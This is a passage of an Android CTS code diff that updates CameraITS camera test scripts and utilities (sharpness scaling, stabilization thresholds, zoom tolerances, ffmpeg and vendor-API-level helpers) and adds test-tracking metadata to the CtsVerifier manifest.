b/apps/CameraITS/tests/scene3/test_edge_enhancement.py @@ -67,17 +67,17 @@ def do_capture_and_determine_sharpness( for n in range(NUM_SAMPLES): cap = cam.do_capture(req, out_surface, repeat_request=req) y, _, _ = image_processing_utils.convert_capture_to_planes(cap) - chart.img = image_processing_utils.normalize_img( - image_processing_utils.get_image_patch( - y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm)) + chart.img = image_processing_utils.get_image_patch( + y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm) if n == 0: image_processing_utils.write_image( chart.img, '%s_edge=%d.jpg' % ( os.path.join(log_path, NAME), edge_mode)) edge_mode_res = cap['metadata']['android.edge.mode'] sharpness_list.append( - image_processing_utils.compute_image_sharpness(chart.img)) - + image_processing_utils.compute_image_sharpness(chart.img)*255) + logging.debug('edge mode: %d, sharpness values: %s', + edge_mode_res, sharpness_list) return {'edge_mode': edge_mode_res, 'sharpness': np.mean(sharpness_list)} @@ -89,7 +89,6 @@ class EdgeEnhancementTest(its_base_test.ItsBaseTest): """ def test_edge_enhancement(self): - logging.debug('Starting %s', NAME) with its_session_utils.ItsSession( device_id=self.dut.serial, camera_id=self.camera_id, diff --git a/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py b/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py index c5e9b1974c3..d67ebe4366b 100644 --- a/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py +++ b/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py @@ -107,16 +107,15 @@ def do_capture_and_determine_sharpness( caps = cam.do_capture([req]*NUM_SAMPLES, [out_surface], reprocess_format) for n in range(NUM_SAMPLES): y, _, _ = image_processing_utils.convert_capture_to_planes(caps[n]) - chart.img = image_processing_utils.normalize_img( - image_processing_utils.get_image_patch( - y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm)) + chart.img = image_processing_utils.get_image_patch( + y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm) if n == 0: image_processing_utils.write_image( chart.img, '%s_reprocess_fmt_%s_edge=%d.jpg' % ( os.path.join(log_path, NAME), reprocess_format, edge_mode)) edge_mode_res = caps[n]['metadata']['android.edge.mode'] sharpness_list.append( - image_processing_utils.compute_image_sharpness(chart.img)) + image_processing_utils.compute_image_sharpness(chart.img)*255) logging.debug('Sharpness list for edge mode %d: %s', edge_mode, str(sharpness_list)) return {'edge_mode': edge_mode_res, 'sharpness': np.mean(sharpness_list)} @@ -134,7 +133,6 @@ class ReprocessEdgeEnhancementTest(its_base_test.ItsBaseTest): """ def test_reprocess_edge_enhancement(self): - logging.debug('Starting %s', NAME) logging.debug('Edge modes: %s', str(EDGE_MODES)) with its_session_utils.ItsSession( device_id=self.dut.serial, @@ -179,9 +177,10 @@ class ReprocessEdgeEnhancementTest(its_base_test.ItsBaseTest): # Initialize plot pylab.figure('reprocess_result') - pylab.title(NAME) - pylab.xlabel('Edge Enhance Mode') - pylab.ylabel('Sharpness') + pylab.suptitle(NAME) + pylab.title(str(EDGE_MODES)) + pylab.xlabel('Edge Enhancement Mode') + pylab.ylabel('Image Sharpness') pylab.xticks(EDGE_MODES_VALUES) # Get the sharpness for each edge mode for regular requests @@ -244,6 +243,7 @@ class ReprocessEdgeEnhancementTest(its_base_test.ItsBaseTest): logging.debug('Check reprocess format: %s', reprocess_format) check_edge_modes(sharpnesses_reprocess[reprocess_format]) + # Check reprocessing doesn't make everyting worse hq_div_off_reprocess = ( sharpnesses_reprocess[reprocess_format][EDGE_MODES['HQ']] / sharpnesses_reprocess[reprocess_format][EDGE_MODES['OFF']]) @@ -251,11 +251,10 @@ class ReprocessEdgeEnhancementTest(its_base_test.ItsBaseTest): sharpness_regular[EDGE_MODES['HQ']] / sharpness_regular[EDGE_MODES['OFF']]) logging.debug('Verify reprocess HQ ~= reg HQ relative to OFF') - if not math.isclose(hq_div_off_reprocess, hq_div_off_regular, - rel_tol=SHARPNESS_RTOL): - raise AssertionError(f'HQ/OFF_reprocess: {hq_div_off_reprocess:.4f}, ' - f'HQ/OFF_reg: {hq_div_off_regular:.4f}, ' - f'RTOL: {SHARPNESS_RTOL}') + if hq_div_off_reprocess < hq_div_off_regular*(1-SHARPNESS_RTOL): + raise AssertionError( + f'HQ/OFF_{reprocess_format}: {hq_div_off_reprocess:.4f}, ' + f'HQ/OFF_reg: {hq_div_off_regular:.4f}, RTOL: {SHARPNESS_RTOL}') if __name__ == '__main__': diff --git a/apps/CameraITS/tests/scene4/test_preview_stabilization_fov.py b/apps/CameraITS/tests/scene4/test_preview_stabilization_fov.py index 3959b42ef27..4140ea7e8da 100644 --- a/apps/CameraITS/tests/scene4/test_preview_stabilization_fov.py +++ b/apps/CameraITS/tests/scene4/test_preview_stabilization_fov.py @@ -35,9 +35,9 @@ _MAX_STABILIZED_RADIUS_RATIO = 1.2 # radius of circle in stabilized preview _ROUNDESS_DELTA_THRESHOLD = 0.05 _MAX_CENTER_THRESHOLD_PERCENT = 0.075 -_MAX_DIMENSION_SIZE = (1920, 1080) # max preview size in Android +_MAX_AREA = 1920 * 1440 # max mandatory preview stream resolution _MIN_CENTER_THRESHOLD_PERCENT = 0.02 -_MIN_DIMENSION_SIZE = (176, 144) # assume QCIF to be min preview size +_MIN_AREA = 176 * 144 # assume QCIF to be min preview size def _collect_data(cam, video_size, stabilize): @@ -90,27 +90,26 @@ def _calculate_center_offset_threshold(image_size): calculated. ex. (1920, 1080) Returns: - threshold value in pixels be which the circle centers can differ + threshold value ratio between which the circle centers can differ """ - max_diagonal = _point_distance(0, 0, - _MAX_DIMENSION_SIZE[0], _MAX_DIMENSION_SIZE[1]) - min_diagonal = _point_distance(0, 0, - _MIN_DIMENSION_SIZE[0], _MIN_DIMENSION_SIZE[1]) + img_area = image_size[0] * image_size[1] - img_diagonal = _point_distance(0, 0, image_size[0], image_size[1]) + normalized_area = ((img_area - _MIN_AREA) / + (_MAX_AREA - _MIN_AREA)) - normalized_diagonal = ((img_diagonal - min_diagonal) / - (max_diagonal - min_diagonal)) + if normalized_area > 1 or normalized_area < 0: + raise AssertionError(f'normalized area > 1 or < 0! ' + f'image_size[0]: {image_size[0]}, ' + f'image_size[1]: {image_size[1]}, ' + f'normalized_area: {normalized_area}') # Threshold should be larger for images with smaller resolution - normalized_threshold_percent = ((1 - normalized_diagonal) * + normalized_threshold_percent = ((1 - normalized_area) * (_MAX_CENTER_THRESHOLD_PERCENT - _MIN_CENTER_THRESHOLD_PERCENT)) - return ((normalized_threshold_percent + _MIN_CENTER_THRESHOLD_PERCENT) - * img_diagonal) - + return (normalized_threshold_percent + _MIN_CENTER_THRESHOLD_PERCENT) class PreviewStabilizationFoVTest(its_base_test.ItsBaseTest): """Tests if stabilized preview FoV is within spec. @@ -141,7 +140,7 @@ class PreviewStabilizationFoVTest(its_base_test.ItsBaseTest): # Load scene. its_session_utils.load_scene(cam, props, self.scene, - self.tablet, chart_distance=0) + self.tablet, self.chart_distance) # Check skip condition first_api_level = its_session_utils.get_first_api_level(self.dut.serial) @@ -150,6 +149,10 @@ class PreviewStabilizationFoVTest(its_base_test.ItsBaseTest): 'First API level should be {} or higher. Found {}.'.format( its_session_utils.ANDROID13_API_LEVEL, first_api_level)) + # Get ffmpeg version being used. + ffmpeg_version = video_processing_utils.get_ffmpeg_version() + logging.debug('ffmpeg_version: %s', ffmpeg_version) + supported_stabilization_modes = props[ 'android.control.availableVideoStabilizationModes' ] @@ -250,7 +253,8 @@ class PreviewStabilizationFoVTest(its_base_test.ItsBaseTest): f'{_ROUNDESS_DELTA_THRESHOLD}, ' f'actual ratio difference: {roundness_diff}. ') - # Distance between centers + # Distance between centers, x_offset and y_offset are relative to the + # radius of the circle, so they're normalized. Not pixel values. unstab_center = (ustab_circle['x_offset'], ustab_circle['y_offset']) logging.debug('unstabilized center: %s', unstab_center) stab_center = (stab_circle['x_offset'], stab_circle['y_offset']) diff --git a/apps/CameraITS/tests/scene4/test_video_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_video_aspect_ratio_and_crop.py index 6eaca195c22..bf37f0ef1db 100644 --- a/apps/CameraITS/tests/scene4/test_video_aspect_ratio_and_crop.py +++ b/apps/CameraITS/tests/scene4/test_video_aspect_ratio_and_crop.py @@ -137,13 +137,13 @@ class VideoAspectRatioAndCropTest(its_base_test.ItsBaseTest): logging.debug('physical available focal lengths: %s', str(fls_physical)) # Check SKIP conditions. - first_api_level = its_session_utils.get_first_api_level(self.dut.serial) + vendor_api_level = its_session_utils.get_vendor_api_level(self.dut.serial) camera_properties_utils.skip_unless( - first_api_level >= its_session_utils.ANDROID13_API_LEVEL) + vendor_api_level >= its_session_utils.ANDROID13_API_LEVEL) # Load scene. its_session_utils.load_scene(cam, props, self.scene, - self.tablet, chart_distance=0) + self.tablet, self.chart_distance) # Determine camera capabilities. supported_video_qualities = cam.get_supported_video_qualities( @@ -152,6 +152,8 @@ class VideoAspectRatioAndCropTest(its_base_test.ItsBaseTest): full_or_better = camera_properties_utils.full_or_better(props) raw_avlb = camera_properties_utils.raw16(props) + # Converge 3A. + cam.do_3a() req = capture_request_utils.auto_capture_request() ref_img_name_stem = f'{os.path.join(self.log_path, _NAME)}' @@ -166,6 +168,10 @@ class VideoAspectRatioAndCropTest(its_base_test.ItsBaseTest): run_crop_test = full_or_better and raw_avlb + # Get ffmpeg version being used. + ffmpeg_version = video_processing_utils.get_ffmpeg_version() + logging.debug('ffmpeg_version: %s', ffmpeg_version) + for quality_profile_id_pair in supported_video_qualities: quality = quality_profile_id_pair.split(':')[0] profile_id = quality_profile_id_pair.split(':')[-1] diff --git a/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py b/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py index ae1f315c3e4..c1e50bd561a 100644 --- a/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py +++ b/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py @@ -146,6 +146,7 @@ class LensShadingAndColorUniformityTest(its_base_test.ItsBaseTest): props = cam.get_camera_properties() props = cam.override_with_hidden_physical_camera_props(props) log_path = self.log_path + debug_mode = self.debug_mode # Check SKIP conditions. camera_properties_utils.skip_unless( @@ -163,7 +164,16 @@ class LensShadingAndColorUniformityTest(its_base_test.ItsBaseTest): req = capture_request_utils.auto_capture_request() w, h = capture_request_utils.get_available_output_sizes('yuv', props)[0] out_surface = {'format': 'yuv', 'width': w, 'height': h} - cap = cam.do_capture(req, out_surface) + if debug_mode: + out_surfaces = [{'format': 'raw'}, out_surface] + cap_raw, cap = cam.do_capture(req, out_surfaces) + img_raw = image_processing_utils.convert_capture_to_rgb_image( + cap_raw, props=props) + image_processing_utils.write_image(img_raw, '%s_raw.png' % ( + os.path.join(log_path, _NAME)), True) + logging.debug('Captured RAW %dx%d', img_raw.shape[1], img_raw.shape[0]) + else: + cap = cam.do_capture(req, out_surface) logging.debug('Captured YUV %dx%d', w, h) # Get Y channel img_y = image_processing_utils.convert_capture_to_planes(cap)[0] diff --git a/apps/CameraITS/tests/scene6/test_zoom.py b/apps/CameraITS/tests/scene6/test_zoom.py index d4fa21c3c29..32b9927cc1c 100644 --- a/apps/CameraITS/tests/scene6/test_zoom.py +++ b/apps/CameraITS/tests/scene6/test_zoom.py @@ -78,10 +78,6 @@ def get_test_tols_and_cap_size(cam, props, chart_distance, debug): test_tols = {} test_yuv_sizes = [] for i in physical_ids: - min_fd = physical_props[i]['android.lens.info.minimumFocusDistance'] - focal_l = physical_props[i]['android.lens.info.availableFocalLengths'][0] - logging.debug('cam[%s] min_fd: %.3f (diopters), fl: %.2f', - i, min_fd, focal_l) yuv_sizes = capture_request_utils.get_available_output_sizes( 'yuv', physical_props[i]) test_yuv_sizes.append(yuv_sizes) @@ -89,13 +85,16 @@ def get_test_tols_and_cap_size(cam, props, chart_distance, debug): logging.debug('cam[%s] yuv sizes: %s', i, str(yuv_sizes)) # determine if minimum focus distance is less than rig depth - if (math.isclose(min_fd, 0.0, rel_tol=1E-6) or # fixed focus - 1.0/min_fd < chart_distance_m*MIN_FOCUS_DIST_TOL): - test_tols[focal_l] = (RADIUS_RTOL, OFFSET_RTOL) - else: - test_tols[focal_l] = (RADIUS_RTOL_MIN_FD, OFFSET_RTOL_MIN_FD) - logging.debug('loosening RTOL for cam[%s]: ' - 'min focus distance too large.', i) + min_fd = physical_props[i]['android.lens.info.minimumFocusDistance'] + for fl in physical_props[i]['android.lens.info.availableFocalLengths']: + logging.debug('cam[%s] min_fd: %.3f (diopters), fl: %.2f', i, min_fd, fl) + if (math.isclose(min_fd, 0.0, rel_tol=1E-6) or # fixed focus + (1.0/min_fd < chart_distance_m*MIN_FOCUS_DIST_TOL)): + test_tols[fl] = (RADIUS_RTOL, OFFSET_RTOL) + else: + test_tols[fl] = (RADIUS_RTOL_MIN_FD, OFFSET_RTOL_MIN_FD) + logging.debug('loosening RTOL for cam[%s]: ' + 'min focus distance too large.', i) # find intersection of formats for max common format common_sizes = list(set.intersection(*[set(list) for list in test_yuv_sizes])) if debug: @@ -235,8 +234,10 @@ class ZoomTest(its_base_test.ItsBaseTest): test_tols, size = get_test_tols_and_cap_size( cam, props, self.chart_distance, debug) else: - fl = props['android.lens.info.availableFocalLengths'][0] - test_tols = {fl: (RADIUS_RTOL, OFFSET_RTOL)} + test_tols = {} + fls = props['android.lens.info.availableFocalLengths'] + for fl in fls: + test_tols[fl] = (RADIUS_RTOL, OFFSET_RTOL) yuv_size = capture_request_utils.get_largest_yuv_format(props) size = [yuv_size['width'], yuv_size['height']] logging.debug('capture size: %s', str(size)) diff --git a/apps/CameraITS/tests/sensor_fusion/test_preview_stabilization.py b/apps/CameraITS/tests/sensor_fusion/test_preview_stabilization.py index c6b852c5378..d90960bca0e 100644 --- a/apps/CameraITS/tests/sensor_fusion/test_preview_stabilization.py +++ b/apps/CameraITS/tests/sensor_fusion/test_preview_stabilization.py @@ -128,6 +128,10 @@ class PreviewStabilizationTest(its_base_test.ItsBaseTest): 'Preview Stabilization not supported', ) + # Get ffmpeg version being used. + ffmpeg_version = video_processing_utils.get_ffmpeg_version() + logging.debug('ffmpeg_version: %s', ffmpeg_version) + # Raise error if not FRONT or REAR facing camera facing = props['android.lens.facing'] if (facing != camera_properties_utils.LENS_FACING_BACK @@ -142,7 +146,9 @@ class PreviewStabilizationTest(its_base_test.ItsBaseTest): # List of video resolutions to test supported_preview_sizes = cam.get_supported_preview_sizes(self.camera_id) - supported_preview_sizes.remove(video_processing_utils.QCIF_SIZE) + for size in video_processing_utils.LOW_RESOLUTION_SIZES: + if size in supported_preview_sizes: + supported_preview_sizes.remove(size) logging.debug('Supported preview resolutions: %s', supported_preview_sizes) diff --git a/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py b/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py index 0be38b56d11..d09ee5fdd67 100644 --- a/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py +++ b/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py @@ -129,7 +129,7 @@ class VideoStabilizationTest(its_base_test.ItsBaseTest): in gyroscope movement. Test is a PASS if rotation is reduced in video. """ - def test_video_stability(self): + def test_video_stabilization(self): rot_rig = {} log_path = self.log_path @@ -139,14 +139,18 @@ class VideoStabilizationTest(its_base_test.ItsBaseTest): hidden_physical_id=self.hidden_physical_id) as cam: props = cam.get_camera_properties() props = cam.override_with_hidden_physical_camera_props(props) - first_api_level = its_session_utils.get_first_api_level(self.dut.serial) + vendor_api_level = its_session_utils.get_vendor_api_level(self.dut.serial) supported_stabilization_modes = props[ 'android.control.availableVideoStabilizationModes'] camera_properties_utils.skip_unless( - first_api_level >= its_session_utils.ANDROID13_API_LEVEL and + vendor_api_level >= its_session_utils.ANDROID13_API_LEVEL and _VIDEO_STABILIZATION_MODE in supported_stabilization_modes) + # Get ffmpeg version being used. + ffmpeg_version = video_processing_utils.get_ffmpeg_version() + logging.debug('ffmpeg_version: %s', ffmpeg_version) + # Raise error if not FRONT or REAR facing camera facing = props['android.lens.facing'] if (facing != camera_properties_utils.LENS_FACING_FRONT and diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py index 3ecc8dfeef1..dae63c3732e 100755 --- a/apps/CameraITS/tools/run_all_tests.py +++ b/apps/CameraITS/tools/run_all_tests.py @@ -240,7 +240,7 @@ def check_manual_scenes(device_id, camera_id, scene, out_path): img_name = os.path.join(out_path, f'test_{scene}.jpg') logging.info('Please check scene setup in %s', img_name) image_processing_utils.write_image(img, img_name) - choice = input('Is the image okay for ITS {scene}? (Y/N)').lower() + choice = input(f'Is the image okay for ITS {scene}? (Y/N)').lower() if choice == 'y': break @@ -518,13 +518,13 @@ def main(): # Handle repeated test if 'tests/' in test: cmd = [ - 'python', + 'python3', os.path.join(os.environ['CAMERA_ITS_TOP'], test), '-c', '%s' % new_yml_file_name ] else: cmd = [ - 'python', + 'python3', os.path.join(os.environ['CAMERA_ITS_TOP'], 'tests', s, test), '-c', '%s' % new_yml_file_name diff --git a/apps/CameraITS/utils/its_session_utils.py b/apps/CameraITS/utils/its_session_utils.py index 4a6cbf9af01..c2065ba6ac4 100644 --- a/apps/CameraITS/utils/its_session_utils.py +++ b/apps/CameraITS/utils/its_session_utils.py @@ -616,6 +616,122 @@ class ItsSession(object): raise error_util.CameraItsError('No supported preview sizes') return data['strValue'].split(';') + def do_capture_with_flash(self, + preview_request_start, + preview_request_idle, + still_capture_req, + out_surface): + """Issue capture request with flash and read back the image and metadata. + + Captures a single image with still_capture_req as capture request + with flash. It triggers the precapture sequence with preview request + preview_request_start with capture intent preview by setting aePrecapture + trigger to Start. This is followed by repeated preview requests + preview_request_idle with aePrecaptureTrigger set to IDLE. + Once the AE is converged, a single image is captured still_capture_req + during which the flash must be fired. + Note: The part where we read output data from socket is cloned from + do_capture and will be consolidated in U. + + Args: + preview_request_start: Preview request with aePrecaptureTrigger set to + Start + preview_request_idle: Preview request with aePrecaptureTrigger set to Idle + still_capture_req: Single still capture request. + out_surface: Specifications of the output image formats and + sizes to use for capture. + Returns: + An object which contains following fields: + * data: the image data as a numpy array of bytes. + * width: the width of the captured image. + * height: the height of the captured image. + * format: image format + * metadata: the capture result object + """ + cmd = {} + cmd['cmdName'] = 'doCaptureWithFlash' + cmd['previewRequestStart'] = [preview_request_start] + cmd['previewRequestIdle'] = [preview_request_idle] + cmd['stillCaptureRequest'] = [still_capture_req] + cmd['outputSurfaces'] = [out_surface] + + cam_ids = self._camera_id + self.sock.settimeout(self.SOCK_TIMEOUT + self.EXTRA_SOCK_TIMEOUT) + logging.debug('Capturing image with ON_AUTO_FLASH.') + self.sock.send(json.dumps(cmd).encode() + '\n'.encode()) + + bufs = {} + bufs[self._camera_id] = {'jpeg': []} + formats = ['jpeg'] + rets = [] + nbufs = 0 + mds = [] + physical_mds = [] + widths = None + heights = None + ncap = 1 + capture_results_returned = False + yuv_bufs = {} + while not capture_results_returned: + json_obj, buf = self.__read_response_from_socket() + if json_obj['tag'] in ItsSession.IMAGE_FORMAT_LIST_1 and buf is not None: + fmt = json_obj['tag'][:-5] + bufs[self._camera_id][fmt].append(buf) + nbufs += 1 + elif json_obj['tag'] == 'captureResults': + capture_results_returned = True + mds.append(json_obj['objValue']['captureResult']) + physical_mds.append(json_obj['objValue']['physicalResults']) + outputs = json_obj['objValue']['outputs'] + widths = [out['width'] for out in outputs] + heights = [out['height'] for out in outputs] + else: + tag_string = unicodedata.normalize('NFKD', json_obj['tag']).encode( + 'ascii', 'ignore') + for x in ItsSession.IMAGE_FORMAT_LIST_2: + x = bytes(x, encoding='utf-8') + if tag_string.startswith(x): + if x == b'yuvImage': + physical_id = json_obj['tag'][len(x):] + if physical_id in cam_ids: + buf_size = numpy.product(buf.shape) + yuv_bufs[physical_id][buf_size].append(buf) + nbufs += 1 + else: + physical_id = json_obj['tag'][len(x):] + if physical_id in cam_ids: + fmt = x[:-5].decode('UTF-8') + bufs[physical_id][fmt].append(buf) + nbufs += 1 + rets = [] + for j, fmt in enumerate(formats): + objs = [] + if 'physicalCamera' in cmd['outputSurfaces'][j]: + cam_id = cmd['outputSurfaces'][j]['physicalCamera'] + else: + cam_id = self._camera_id + for i in range(ncap): + obj = {} + obj['width'] = widths[j] + obj['height'] = heights[j] + obj['format'] = fmt + if cam_id == self._camera_id: + obj['metadata'] = mds[i] + else: + for physical_md in physical_mds[i]: + if cam_id in physical_md: + obj['metadata'] = physical_md[cam_id] + break + obj['data'] = bufs[cam_id][fmt][i] + objs.append(obj) + rets.append(objs if ncap > 1 else objs[0]) + self.sock.settimeout(self.SOCK_TIMEOUT) + if len(rets) > 1 or (isinstance(rets[0], dict) and + isinstance(still_capture_req, list)): + return rets + else: + return rets[0] + def do_capture(self, cap_request, out_surfaces=None, @@ -1496,6 +1612,18 @@ def get_first_api_level(device_id): return first_api_level +def get_vendor_api_level(device_id): + """Return the int value for the vendor API level of the device.""" + cmd = 'adb -s %s shell getprop ro.vendor.api_level' % device_id + try: + vendor_api_level = int(subprocess.check_output(cmd.split()).rstrip()) + logging.debug('First vendor API level: %d', vendor_api_level) + except (subprocess.CalledProcessError, ValueError): + logging.error('No vendor_api_level. Setting to build version.') + vendor_api_level = get_build_sdk_version(device_id) + return vendor_api_level + + class ItsSessionUtilsTests(unittest.TestCase): """Run a suite of unit tests on this module.""" diff --git a/apps/CameraITS/utils/opencv_processing_utils.py b/apps/CameraITS/utils/opencv_processing_utils.py index 29533146a41..d108cacb0b2 100644 --- a/apps/CameraITS/utils/opencv_processing_utils.py +++ b/apps/CameraITS/utils/opencv_processing_utils.py @@ -18,11 +18,9 @@ import logging import math import os import unittest - +import cv2 import numpy - -import cv2 import capture_request_utils import image_processing_utils @@ -232,6 +230,8 @@ class Chart(object): scale_stop = self._scale_stop * s_factor scale_step = self._scale_step * s_factor self.scale = s_factor + logging.debug('scale start: %.3f, stop: %.3f, step: %.3f', + scale_start, scale_stop, scale_step) max_match = [] # check for normalized image if numpy.amax(scene) <= 1.0: @@ -250,7 +250,7 @@ class Chart(object): # determine if optimization results are valid opt_values = [x[0] for x in max_match] - if 2.0 * min(opt_values) > max(opt_values): + if not opt_values or (2.0 * min(opt_values) > max(opt_values)): estring = ('Warning: unable to find chart in scene!\n' 'Check camera distance and self-reported ' 'pixel pitch, focal length and hyperfocal distance.') @@ -538,6 +538,7 @@ class Cv2ImageProcessingUtilsTests(unittest.TestCase): """Unit tests for this module.""" def test_get_angle_identify_rotated_chessboard_angle(self): + """Unit test to check extracted angles from images.""" # Array of the image files and angles containing rotated chessboards. test_cases = [ ('', 0), diff --git a/apps/CameraITS/utils/video_processing_utils.py b/apps/CameraITS/utils/video_processing_utils.py index 98d930bc90b..432e7c36b96 100644 --- a/apps/CameraITS/utils/video_processing_utils.py +++ b/apps/CameraITS/utils/video_processing_utils.py @@ -19,6 +19,7 @@ import logging import os.path import subprocess +import error_util ITS_SUPPORTED_QUALITIES = ( @@ -33,7 +34,23 @@ ITS_SUPPORTED_QUALITIES = ( 'LOW', 'VGA' ) -QCIF_SIZE = '176x144' + +LOW_RESOLUTION_SIZES = ( + '176x144', + '192x144', +) + + +def get_ffmpeg_version(): + """Returns the ffmpeg version being used.""" + + ffmpeg_version_cmd = ('ffmpeg -version') + p = subprocess.Popen(ffmpeg_version_cmd, shell=True, stdout=subprocess.PIPE) + output, _ = p.communicate() + if p.poll() != 0: + raise error_util.CameraItsError('Error running ffmpeg version cmd.') + decoded_output = output.decode('utf-8') + return decoded_output.split(' ')[2] def extract_key_frames_from_video(log_path, video_file_name): diff --git a/apps/CtsVerifier/Android.bp b/apps/CtsVerifier/Android.bp index b4485d19e99..024e0387c6f 100644 --- a/apps/CtsVerifier/Android.bp +++ b/apps/CtsVerifier/Android.bp @@ -91,6 +91,7 @@ android_library { "CtsForceStopHelper-constants", "ctsmediautil", "DpmWrapper", + "MediaPerformanceClassCommon", ], libs: ["telephony-common"] + ["android.test.runner.stubs"] + ["android.test.base.stubs"] + ["android.test.mock.stubs"] + ["android.car-test-stubs"] + ["voip-common"] + ["truth-prebuilt"], @@ -114,7 +115,7 @@ android_test { compile_multilib: "both", - manifest: "AndroidManifest-verifierConfig.xml", + additional_manifests: ["AndroidManifest-verifierConfig.xml"], jni_libs: [ "libctsverifier_jni", diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml index 981f0fa4021..254e3c534c9 100644 --- a/apps/CtsVerifier/AndroidManifest.xml +++ b/apps/CtsVerifier/AndroidManifest.xml @@ -248,6 +248,7 @@ <action android:name="android.intent.action.MAIN" /> <category android:name="android.cts.intent.category.MANUAL_TEST" /> </intent-filter> + <meta-data android:name="CddTest" android:value="3.8.17/C-1-1,C-2-1" /> <meta-data android:name="test_category" android:value="@string/test_category_features" /> <meta-data android:name="test_excluded_features" android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" /> @@ -2052,6 +2053,9 @@ <meta-data android:name="test_required_features" android:value="android.hardware.wifi" /> <meta-data android:name="display_mode" android:value="multi_display_mode" /> + <meta-data android:name="CddTest" android:value="7.4.5.2" /> + <meta-data android:name="ApiTest" + android:value="android.net.ConnectivityManager#registerNetworkCallback|android.net.ConnectivityManager#unregisterNetworkCallback|android.net.ConnectivityManager#getLinkProperties" /> </activity> <activity android:name=".net.MultiNetworkConnectivityTestActivity" @@ -2068,6 +2072,8 @@ android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" /> <meta-data android:name="display_mode" android:value="multi_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.ConnectivityManager#getNetworkCapabilities|android.net.ConnectivityManager#getAllNetworks|android.net.ConnectivityManager#requestNetwork|android.net.ConnectivityManager#unregisterNetworkCallback|android.net.ConnectivityManager#getActiveNetwork|android.net.ConnectivityManager#getNetworkInfo|android.net.ConnectivityManager#reportNetworkConnectivity" /> </activity> <activity android:name=".nfc.NfcTestActivity" @@ -2827,6 +2833,16 @@ android:value="android.hardware.type.automotive"/> <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.hardware.Camera#getNumberOfCameras| + android.hardware.Camera#open| + android.hardware.Camera#startPreview| + android.hardware.Camera#stopPreview| + android.hardware.Camera#takePicture| + android.hardware.Camera#setParameters| + android.hardware.Camera#setDisplayOrientation| + android.hardware.Camera.Parameters#setHorizontalViewAngle| + android.hardware.Camera.Parameters#setVerticalViewAngle" /> </activity> <activity android:name=".camera.fov.DetermineFovActivity" @@ -2836,6 +2852,11 @@ android:value="android.hardware.type.automotive"/> <meta-data android:name="display_mode" android:value="multi_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.media.ExifInterface#TAG_ORIENTATION| + android.media.ExifInterface#ORIENTATION_ROTATE_90| + android.media.ExifInterface#ORIENTATION_ROTATE_180| + android.media.ExifInterface#ORIENTATION_ROTATE_270" /> </activity> <activity android:name=".camera.fov.CalibrationPreferenceActivity" @@ -2861,6 +2882,32 @@ android:value="android.hardware.type.automotive"/> <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.hardware.Camera#getParameters| + android.hardware.Camera#lock| + android.hardware.Camera#setDisplayOrientation| + android.hardware.Camera#setPreviewCallback| + android.hardware.Camera#setParameters| + android.hardware.Camera#setPreviewTexture| + android.hardware.Camera#startPreview| + android.hardware.Camera#stopPreview| + android.hardware.Camera#unlock| + android.media.MediaRecorder#prepare| + android.media.MediaRecorder#release| + android.media.MediaRecorder#reset| + android.media.MediaRecorder#setAudioEncoder| + android.media.MediaRecorder#setAudioSource| + android.media.MediaRecorder#setCamera| + android.media.MediaRecorder#setOnErrorListener| + android.media.MediaRecorder#setOutputFormat| + android.media.MediaRecorder#setOutputFile| + android.media.MediaRecorder#setProfile| + android.media.MediaRecorder#setVideoEncoder| + android.media.MediaRecorder#setVideoEncodingBitRate| + android.media.MediaRecorder#setVideoSize| + android.media.MediaRecorder#setVideoSource| + android.media.MediaRecorder#start| + android.media.MediaRecorder#stop" /> </activity> <activity android:name=".camera.its.ItsTestActivity" @@ -3088,6 +3135,7 @@ <meta-data android:name="test_category" android:value="@string/test_category_notifications" /> <meta-data android:name="display_mode" android:value="multi_display_mode" /> + <meta-data android:name="CddTest" android:value="2.2.3/3.8.3/H-0-1|3.8.3.1/C-1-5|3.8.3.1/C-3-1|3.8.3.1/C-3-2|3.8.3.2/C-0-1|3.8.3.2/C-0-2|3.8.3.2/C-1-1" /> </activity> <activity android:name=".notifications.NotificationPrivacyVerifierActivity" @@ -3102,6 +3150,7 @@ <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive" /> <meta-data android:name="display_mode" android:value="multi_display_mode" /> + <meta-data android:name="CddTest" android:value="3.8.3.1/C-1-4|2.2.3/3.8.10/H-1-1" /> </activity> <activity android:name=".notifications.ShowWhenLockedActivity" @@ -3152,6 +3201,7 @@ android:value="android.hardware.type.automotive:android.hardware.type.television:android.software.leanback:android.hardware.type.watch" /> <meta-data android:name="display_mode" android:value="multi_display_mode" /> + <meta-data android:name="CddTest" android:value="3.8.3.3/C-1-1" /> </activity> <activity android:name=".notifications.AttentionManagementVerifierActivity" @@ -3166,6 +3216,7 @@ android:value="android.hardware.type.watch:android.software.leanback" /> <meta-data android:name="display_mode" android:value="multi_display_mode" /> + <meta-data android:name="CddTest" android:value="2.2.3/3.8.4/H-1-1|3.8.3.3/C-1-1|3.8.3.3/C-1-3" /> </activity> <activity android:name=".notifications.ToastVerifierActivity" @@ -3178,6 +3229,8 @@ <meta-data android:name="test_category" android:value="@string/test_category_notifications" /> <meta-data 